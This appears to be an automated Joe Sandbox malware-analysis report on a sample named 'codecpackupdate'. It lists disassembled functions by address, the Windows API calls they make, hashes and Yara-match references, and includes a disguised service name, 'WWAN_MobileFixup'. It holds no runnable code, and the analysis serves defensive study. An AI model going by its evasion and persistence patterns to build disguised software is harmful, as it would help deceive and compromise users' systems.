
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 938891c41c19957031571cb3cd7cef40cfb462982efdf7795ef8d5ecdca5ac57
Instruction ID: 6231b04622782da76f8fb29558b74f8e19658c67226029681e8db2cc7872a652
Opcode Fuzzy Hash: 938891c41c19957031571cb3cd7cef40cfb462982efdf7795ef8d5ecdca5ac57
Instruction Fuzzy Hash: 3AF09035214306DBEB10EE64CD84B7237A4EB14340F64843BEC46EA2D1E7B8D9429B9E

Uniqueness

Uniqueness Score: -1.00%

Function 009FE484 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FE489

Part of subcall function 009F26DB: RtlEnterCriticalSection.NTDLL(?), ref: 009F2706
Part of subcall function 009F26DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 009F272B
Part of subcall function 009F26DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A15A93), ref: 009F2738
Part of subcall function 009F26DB: SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 009F2778
Part of subcall function 009F26DB: RtlLeaveCriticalSection.NTDLL(?), ref: 009F27D9

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: 46cc6dfaa660f9be7187593c9aa00dad85fd117ade79d73be4113fae0a79fe1a
Instruction ID: bdeed5c2114172ae230c25a04f0482cef3a9181c5560eb7640ee540f2a1a61eb
Opcode Fuzzy Hash: 46cc6dfaa660f9be7187593c9aa00dad85fd117ade79d73be4113fae0a79fe1a
Instruction Fuzzy Hash: 6401DCB0810B08DFC318CF1AC144A89FBF4FF88310B05C5AE94498B322E3B1AA80CF94

Uniqueness

Uniqueness Score: -1.00%

Function 009FE263 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FE268

Part of subcall function 00A03A8F: _malloc.LIBCMT ref: 00A03AA7

Part of subcall function 009FE484: __EH_prolog.LIBCMT ref: 009FE489

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: 3b4dfe31c25a114de0719f0588eaa7e3248c1db0cc08f5789913045fb6c19e25
Instruction ID: abba09f749816eb28cd1e542125c5e06008b16c1ba6d3ce9cab85600765ab1d9
Opcode Fuzzy Hash: 3b4dfe31c25a114de0719f0588eaa7e3248c1db0cc08f5789913045fb6c19e25
Instruction Fuzzy Hash: 6CE0C271A0010DAFCF4CDFA8E9127BDB7A9EB44340F00426EB808D6690EF708E108744

Uniqueness

Uniqueness Score: -1.00%

Function 00A03395 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A05B9A: __getptd_noexit.LIBCMT ref: 00A05B9B
Part of subcall function 00A05B9A: __amsg_exit.LIBCMT ref: 00A05BA8

Part of subcall function 00A033D6: __getptd_noexit.LIBCMT ref: 00A033DA
Part of subcall function 00A033D6: __freeptd.LIBCMT ref: 00A033F4
Part of subcall function 00A033D6: RtlExitUserThread.NTDLL(?,00000000,?,00A033B6,00000000), ref: 00A033FD

__XcptFilter.LIBCMT ref: 00A033C2

Part of subcall function 00A08CD4: __getptd_noexit.LIBCMT ref: 00A08CD8

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: a697c161d1907d6f93caa1ae62d4d9161d741e116a09679514cdef925c12965b
Instruction ID: 447aaf8d91f917388d91f819e56d14c00b25ff59680aa14e98b531eea3950c95
Opcode Fuzzy Hash: a697c161d1907d6f93caa1ae62d4d9161d741e116a09679514cdef925c12965b
Instruction Fuzzy Hash: 71E0E6B19056089FDB08BBA4EA46E6E7775AF04301F110555F1015B1E1DE7899409B25

Uniqueness

Uniqueness Score: -1.00%

Function 0040B8CE Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNELBASE(?,00000000), ref: 0040B8D6

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6136a3877e6e2f0dd4123d90e237bad55ebe4cd6e2fa0a15503b3406c486cffe
Instruction ID: 868a890bdf16fbdb6b0f6a21b24728291ff6892bb476c2b181fa5c28a3fa7e1e
Opcode Fuzzy Hash: 6136a3877e6e2f0dd4123d90e237bad55ebe4cd6e2fa0a15503b3406c486cffe
Instruction Fuzzy Hash: ADD05E3460820ADBDB109F20CD8866936A0EB253407004676EC07AE294EBB4D9028A89

Uniqueness

Uniqueness Score: -1.00%

Function 0040B00D Relevance: 1.5, APIs: 1, Instructions: 16registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE ref: 0040B00D

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 500ff6ea7e252baa5171073ac6586a82d290a4070e409aae7b418b8824e4eb1f
Instruction ID: c2c62dfceaa2ca30394ff8bbcbca8809a465483e77cd5c694646456b11ff8d88
Opcode Fuzzy Hash: 500ff6ea7e252baa5171073ac6586a82d290a4070e409aae7b418b8824e4eb1f
Instruction Fuzzy Hash: 1FD0A77490810297D71056216E9DE65316CA704304F500236BE09B21D2E7B88956555E

Uniqueness

Uniqueness Score: -1.00%

Function 00A35AF3 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00A455DC

Memory Dump Source

Source File: 00000003.00000002.2868320795.0000000000A2A000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A2A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a2a000_codecpackupdate.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: abc47b0896c64a13a78bd09c05f9cc6de3580a10cf4c696721996d3e8e654410
Instruction ID: 4c55868cee638e3b3058026ff17e548d659481f2e97a8cc0b81c02cf84b193dd
Opcode Fuzzy Hash: abc47b0896c64a13a78bd09c05f9cc6de3580a10cf4c696721996d3e8e654410
Instruction Fuzzy Hash: EFD06CB241CB09CFC3917F69A884279BBF8AB48700F52492CD6C692641EA3418849B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004024EC Relevance: 1.5, APIs: 1, Instructions: 12synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0040BB0F

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: 06cd4e1e2b5318ed55d10e10e6ab17b413496d7c215a766dc1cd46bbc1e42b35
Instruction ID: ef0758628b503f26ab19731c94afa928a07457d65258333e7402194836c43395
Opcode Fuzzy Hash: 06cd4e1e2b5318ed55d10e10e6ab17b413496d7c215a766dc1cd46bbc1e42b35
Instruction Fuzzy Hash: EFD0122110C091FFC65687A48C649A13BB8DD063553294AB3A463725E1C63C2016E36F

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB7F Relevance: 1.5, APIs: 1, Instructions: 10registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE(?), ref: 0040BBA1

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 74f322b8ff5043d62f76b6d4d9924e6e430d0f9e420fe5ff5ec3609d02c6becc
Instruction ID: bc9fcb05ae8656bc41f953a4491f85b4eae85a5287a10dbca2abb42cf387f289
Opcode Fuzzy Hash: 74f322b8ff5043d62f76b6d4d9924e6e430d0f9e420fe5ff5ec3609d02c6becc
Instruction Fuzzy Hash: 07C012308080029BD71547649D08624BF70FB013007114061D183349A3C3366453A78E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B72C Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0040B6F5

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4208be6c401ace8eaf57d9faaff6df1abccb720293123bf60b5afa5c9f998a5b
Instruction ID: 7a8fb3575aad36e99e01433973275fcd838bbbcd725035783ab06971788b140c
Opcode Fuzzy Hash: 4208be6c401ace8eaf57d9faaff6df1abccb720293123bf60b5afa5c9f998a5b
Instruction Fuzzy Hash: 5D017B72849596DBC7228F619D8CAA53F20EB05300B2C47FAE581769A2C33AD917D7CD

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5E6 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 0040B673

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4923c56613507f6154e6695a1a0a79be905ca74f5fc4bb1a8d63dae53b35cfd4
Instruction ID: c46616b9988c65e90fc05240c7557c229c01b71e50158476c3ddc31f6f3b184e
Opcode Fuzzy Hash: 4923c56613507f6154e6695a1a0a79be905ca74f5fc4bb1a8d63dae53b35cfd4
Instruction Fuzzy Hash: 22017D761987109DC721CA384D46D923B68EE22700B69096BF142BF1E2D33B950BD6CF

Uniqueness

Uniqueness Score: -1.00%

Function 00A020A0 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00A01550: OpenEventA.KERNEL32(00100002,00000000,00000000,35B6412D), ref: 00A015F0
Part of subcall function 00A01550: CloseHandle.KERNEL32(00000000), ref: 00A01605
Part of subcall function 00A01550: ResetEvent.KERNEL32(00000000,35B6412D), ref: 00A0160F
Part of subcall function 00A01550: CloseHandle.KERNEL32(00000000,35B6412D), ref: 00A01644

TlsSetValue.KERNEL32(00000025,?), ref: 00A020EA

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: 5b1a86e2d240fed508c78ac947ac665bed0d89603f8bb136d9e893b50606d726
Instruction ID: fdbddc25b5807c6f7e7a72db6fb203dc62715f98362243bcc87147a9a03bcfed
Opcode Fuzzy Hash: 5b1a86e2d240fed508c78ac947ac665bed0d89603f8bb136d9e893b50606d726
Instruction Fuzzy Hash: FD014F72A44208ABC710CF99ED45F9ABBB8FB09760F10862AF825D36D0D775690586A0

Uniqueness

Uniqueness Score: -1.00%

Function 0040226E Relevance: 1.3, APIs: 1, Instructions: 38stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE ref: 0040B414

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: e02f8efbac426ba64e9b08b55a62167551dd3e5192ad7b41aa824c6377f46e98
Instruction ID: b9dd472658aa79e8713cc1c43643f3a09ee23d5b7ec078f99577b19effab2280
Opcode Fuzzy Hash: e02f8efbac426ba64e9b08b55a62167551dd3e5192ad7b41aa824c6377f46e98
Instruction Fuzzy Hash: 54F09A3260C2538EC74216656A082B67BA0AA51710B38847B9C87B51D2DBBC485376AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2EF Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?), ref: 0040B2FB

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 18c128e7e1d3a70a9118cf2a5e811f5c9c954107df949b2efcfa9b5db2156fc9
Instruction ID: 30eba2562c68e96c98e1aa31e98657024e3942590acf667e384b09b50b6edfb8
Opcode Fuzzy Hash: 18c128e7e1d3a70a9118cf2a5e811f5c9c954107df949b2efcfa9b5db2156fc9
Instruction Fuzzy Hash: 0BC08C31100901E7C7000B348E0C181B728FF007003260132EC03709A0C37E542DAAAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6EC Relevance: 1.3, APIs: 1, Instructions: 8sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0040B6F5

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7555949166ef3385efc278390852ec46746e317434f07fbea60302d659f1b0da
Instruction ID: 130aa393355d1d3f730376283a7cbe41ada4335551948cec256614a457e6477e
Opcode Fuzzy Hash: 7555949166ef3385efc278390852ec46746e317434f07fbea60302d659f1b0da
Instruction Fuzzy Hash: 43C08C30805940DBD2164B306E08B143B30E721700F200964E24320CE1833A6025D609

Uniqueness

Uniqueness Score: -1.00%

Function 00402322 Relevance: 1.3, APIs: 1, Instructions: 8sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 0040B673

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2f3bbf81509a6403ce4eb6566e4c2682b327bd7fda14c88d04de4b44162c8b52
Instruction ID: daca3ffbd5ff764758662f534c55e9e56749cc2f8a70cc823d56b72693b939bd
Opcode Fuzzy Hash: 2f3bbf81509a6403ce4eb6566e4c2682b327bd7fda14c88d04de4b44162c8b52
Instruction Fuzzy Hash: 3BB092305C8B01FEE10107A09E59F386621E720B00F220623A703780E08BBA0663BA8F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B66D Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 0040B673

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 00bf01a9b72d648d1cebd4848209a3c99be8b6c7cbdd3909c15e8f7d0f3832f1
Instruction ID: a3b9e5ac81abcb523932f8946054f8d2fd83f5673244a20f1dfd6dc4be3b2ef3
Opcode Fuzzy Hash: 00bf01a9b72d648d1cebd4848209a3c99be8b6c7cbdd3909c15e8f7d0f3832f1
Instruction Fuzzy Hash: 4EB092B1488A01AAE6010B905A2EB207622F720B00F120A22E303380E143BA0222ABCE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A008B8 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 00A008E2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 00A008EA

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction ID: 333be5aae6f226cacc47348891d90bc2c98ab52a1229338f12648adbffde0238
Opcode Fuzzy Hash: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction Fuzzy Hash: A8F03A30208345DFEB24CE25C851F2EBBE4AB9D794F60092CF596A21D2D770E5858B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00A09468 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00A04DD6,?,?,?,00000001), ref: 00A0946D
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00A09476

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1193d7dbbbb34bd6c77dfc6ab789bc50217473f588e97d2bd980f34255f982d3
Instruction ID: 3beb0640bd387da71726515768a6bef449b952e2754b3bd16696c40136d41696
Opcode Fuzzy Hash: 1193d7dbbbb34bd6c77dfc6ab789bc50217473f588e97d2bd980f34255f982d3
Instruction Fuzzy Hash: 98B09235148308EBCB01ABD1EC09BDD3F38EB086A2F009410F60E44060CB6294129AA1

Uniqueness

Uniqueness Score: -1.00%

Function 009F24E1 Relevance: 21.2, APIs: 14, Instructions: 173COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F24E6
InterlockedCompareExchange.KERNEL32(?,00000000,00000001), ref: 009F24FC
RtlEnterCriticalSection.NTDLL(?), ref: 009F250E
RtlLeaveCriticalSection.NTDLL(?), ref: 009F256D
SetLastError.KERNEL32(00000000,?,74DEDFB0), ref: 009F257F
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?,74DEDFB0), ref: 009F2599
GetLastError.KERNEL32(?,74DEDFB0), ref: 009F25A2
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 009F25F0
InterlockedDecrement.KERNEL32(00000002), ref: 009F262F
InterlockedExchange.KERNEL32(00000000,00000000), ref: 009F268E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F2699
InterlockedExchange.KERNEL32(00000000,00000001), ref: 009F26AD
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,74DEDFB0), ref: 009F26BD
GetLastError.KERNEL32(?,74DEDFB0), ref: 009F26C7

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$ErrorLast$CompareCompletionCriticalQueuedSectionStatus$DecrementEnterH_prologLeavePost
String ID:
API String ID: 1213838671-0
Opcode ID: 8c2beb13ae59835c5b4197e3a1461a190a63df179fda089930f3cc10f335ccf7
Instruction ID: b94e1493056c0db707dd03c755196b1391d116f1202f78238fa869f01bf28098
Opcode Fuzzy Hash: 8c2beb13ae59835c5b4197e3a1461a190a63df179fda089930f3cc10f335ccf7
Instruction Fuzzy Hash: 5A613E71904309EFCB10DFA4D989AEEBBB9FF48310F10952AF616E7250D7349945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 009F4603 Relevance: 19.9, APIs: 13, Instructions: 442networkCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F4608

Part of subcall function 00A03A8F: _malloc.LIBCMT ref: 00A03AA7

htons.WS2_32(?), ref: 009F4669
htonl.WS2_32(?), ref: 009F468C
htonl.WS2_32(00000000), ref: 009F4693
htons.WS2_32(00000000), ref: 009F4747
_sprintf.LIBCMT ref: 009F475D

Part of subcall function 009F88BF: _memmove.LIBCMT ref: 009F88DF

htons.WS2_32(?), ref: 009F46B0

Part of subcall function 009F966A: __EH_prolog.LIBCMT ref: 009F966F
Part of subcall function 009F966A: RtlEnterCriticalSection.NTDLL(00000020), ref: 009F96EA
Part of subcall function 009F966A: RtlLeaveCriticalSection.NTDLL(00000020), ref: 009F9708

Part of subcall function 009F1BA7: __EH_prolog.LIBCMT ref: 009F1BAC
Part of subcall function 009F1BA7: RtlEnterCriticalSection.NTDLL ref: 009F1BBC
Part of subcall function 009F1BA7: RtlLeaveCriticalSection.NTDLL ref: 009F1BEA
Part of subcall function 009F1BA7: RtlEnterCriticalSection.NTDLL ref: 009F1C13
Part of subcall function 009F1BA7: RtlLeaveCriticalSection.NTDLL ref: 009F1C56

Part of subcall function 009FDE26: __EH_prolog.LIBCMT ref: 009FDE2B

htonl.WS2_32(?), ref: 009F497C
htonl.WS2_32(00000000), ref: 009F4983
htonl.WS2_32(00000000), ref: 009F49C8
htonl.WS2_32(00000000), ref: 009F49CF
htons.WS2_32(?), ref: 009F49EF
htons.WS2_32(?), ref: 009F49F9

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSectionhtonl$htons$H_prolog$EnterLeave$_malloc_memmove_sprintf
String ID:
API String ID: 1645262487-0
Opcode ID: c5aa58de93275a593b571f635141f1bae74eabdc3349f6b07a9041dcef5b0ca9
Instruction ID: d2b1be23d0416486c65c3b29cb50ac1645a1029d0c760aaa297e7d54d49b8b4b
Opcode Fuzzy Hash: c5aa58de93275a593b571f635141f1bae74eabdc3349f6b07a9041dcef5b0ca9
Instruction Fuzzy Hash: 2C025671C0025DEEDF15DBE4C845BFEBBB8AF48304F10415AE605B7291EB746A89CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004023B3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 75registrysynchronizationthreadCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(WWAN_MobileFixup 2.33.197.66,Function_0000235E), ref: 004023C1
SetServiceStatus.ADVAPI32(0040A110), ref: 00402420
GetLastError.KERNEL32 ref: 00402422
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040242F
GetLastError.KERNEL32 ref: 00402450
SetServiceStatus.ADVAPI32(0040A110), ref: 00402480
CreateThread.KERNEL32(00000000,00000000,Function_000022CB,00000000,00000000,00000000), ref: 0040248C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402495
CloseHandle.KERNEL32 ref: 004024A1
SetServiceStatus.ADVAPI32(0040A110), ref: 004024CA

Strings

WWAN_MobileFixup 2.33.197.66, xrefs: 004023BC

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Service$Status$CreateErrorLast$CloseCtrlEventHandleHandlerObjectRegisterSingleThreadWait
String ID: WWAN_MobileFixup 2.33.197.66
API String ID: 3346042915-2719033208
Opcode ID: 221372e02594791a34832dfa3998b7de0c824a95239fe2b27a61cd26514d68eb
Instruction ID: 16ab96e2cb68f3bca67a8d02827ccf702012fa4ba7b91bfe8048b6e668af4302
Opcode Fuzzy Hash: 221372e02594791a34832dfa3998b7de0c824a95239fe2b27a61cd26514d68eb
Instruction Fuzzy Hash: A621ECB0841310ABC2109F16EF4D9167EB8EBCA758F11413AE105BA2B2C7B94575CFAE

Uniqueness

Uniqueness Score: -1.00%

Function 00A08272 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 00A0827A
_free.LIBCMT ref: 00A08293

Part of subcall function 00A02EB4: HeapFree.KERNEL32(00000000,00000000,?,00A05C12,00000000,00000104,74DF0A60), ref: 00A02EC8
Part of subcall function 00A02EB4: GetLastError.KERNEL32(00000000,?,00A05C12,00000000,00000104,74DF0A60), ref: 00A02EDA

_free.LIBCMT ref: 00A082A6
_free.LIBCMT ref: 00A082C4
_free.LIBCMT ref: 00A082D6
_free.LIBCMT ref: 00A082E7
_free.LIBCMT ref: 00A082F2
_free.LIBCMT ref: 00A08316
RtlEncodePointer.NTDLL(008FAC10), ref: 00A0831D
_free.LIBCMT ref: 00A08332
_free.LIBCMT ref: 00A08348
_free.LIBCMT ref: 00A08370

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: fb05ec1cd427dc423d612da55e4c6fd952a49807446406230ce487482f852e64
Instruction ID: ea012e58441ed3964331dfe05b118dd6b5e987df6773556f692204472788f7f6
Opcode Fuzzy Hash: fb05ec1cd427dc423d612da55e4c6fd952a49807446406230ce487482f852e64
Instruction Fuzzy Hash: 57219E32946618DBCB3AEF98FD446673B60AF057203094039E944572E1CA389C47CB95

Uniqueness

Uniqueness Score: -1.00%

Function 009F3423 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F3428
GetModuleHandleA.KERNEL32(KERNEL32,CancelIoEx), ref: 009F346B
GetProcAddress.KERNEL32(00000000), ref: 009F3472
GetLastError.KERNEL32 ref: 009F3486
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 009F34D7
RtlEnterCriticalSection.NTDLL(00000018), ref: 009F34ED
RtlLeaveCriticalSection.NTDLL(00000018), ref: 009F3518

Strings

CancelIoEx, xrefs: 009F3461
KERNEL32, xrefs: 009F3466

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

